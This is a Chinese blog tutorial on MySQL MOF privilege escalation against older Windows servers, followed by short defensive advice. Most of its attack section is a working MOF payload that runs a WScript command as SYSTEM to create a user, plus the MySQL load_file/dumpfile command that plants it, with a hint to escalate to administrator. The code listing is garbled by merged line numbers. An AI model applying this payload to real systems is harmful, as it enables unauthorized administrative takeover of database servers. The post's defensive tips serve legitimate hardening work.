mysql mof提权_MySQL_MOF提权

本文详细介绍了MySQL MOF提权的原理、前提条件、提权步骤,包括实验环境设置、利用方法和代码示例。同时,文章给出了针对这种提权方式的安全防范建议,如限制数据库目录权限、禁止MOF文件写入等。最后,作者提醒读者关注相关MySQL提权技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、原理

Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:

将MOF文件执行为命令行参数及Mofcomp.exe文件

使用IMofCompiler接口和$CompileFile方法

拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹下的MOF文件中

托管对象格式(MOF)文件在 C:\Windows\System32\wbem\MOF 目录下,它是创建和注册提供程序、事件类别和事件的简便方法。其作用是每隔五秒就会去监控进程创建和死亡。那么只需要将恶意代码写入该文件中即可提权。

二、前提

mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:

操作系统版本低于 win2008

数据库为 mysql<5.7 且知道登录账号密码并且允许外连

总结来说就是当前 root 账户可以复制文件到 %SystemRoot%\System32\wbem\MOF 目录下。

三、提权

3.1实验环境

攻击机:win10  ip:192.168.34.1

靶机:win2003  ip:192.168.34.131

攻击机在靶机写入一句话木马,蚁剑连接。

3.2利用方法

先 select version(); 判断数据库版本,小于 5.7 可以利用 mof 提权。

3c5a103328da41ac1b5574fb1df00985.png

将以下代码保存为 test.mof 文件,修改第 17 行代码为添加一个普通用户命令。

1 #pragma namespace("\\.\root\subscription")

2 instance of __EventFilter as$EventFilter3 {4 EventNamespace = "Root\\Cimv2";5 Name = "filtP2";6 Query = "Select * From __InstanceModificationEvent"

7 "Where TargetInstance Isa \"Win32_LocalTime\""

8 "And TargetInstance.Second = 5";9 QueryLanguage = "WQL";10 };11

12 instance of ActiveScriptEventConsumer as$Consumer13 {14 Name = "consPCSV2";15 ScriptingEngine = "JScript";16 ScriptText =

17 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moftest mof.test /add\")";18 };19

20 instance of __FilterToConsumerBinding21 {22 Consumer =$Consumer;23 Filter =$EventFilter;24 };

上传该文件到服务器上任意位置,再通过 mysql 语句将文件导入。

select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof';

执行导入命令失败,SHOW VARIABLES LIKE "secure_file_priv"; 命令查看当前 secure_file_priv。

32b13250b94506738d78e89f2cb3ded7.png

为了实验看一下效果,靶机 my.ini 添加一行 secure_file_priv = 代表不限制目录,重启 mysql 再执行一次导入命令。

导入后,系统会自动运行该文件,可以再修改第 17 行代码进行添加管理员等操作。由于 mof 是由 system 执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

四、防范

尽量不要使用 root 账号连接数据库

root 账号使用强加密方式

对 mysql 数据库目录权限严格限制

操作系统目录 C:\Windows\System32\wbem 禁止写入

如果服务器发现被使用 mof 提权,解决循环创建用户方法:

打开 cmd 使用命令:net stop winmgmt

删除文件夹下内容 C:\Windows\System32\wbem\Repository

再执行 net start winmgmt 即可

五、总结

这篇随笔和上一篇MySQL_UDF提权 https://www.cnblogs.com/wkzb/p/13174291.html 都是MySQL提权方式的小总结,如果有错误欢迎师傅们批评指正。

参考:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值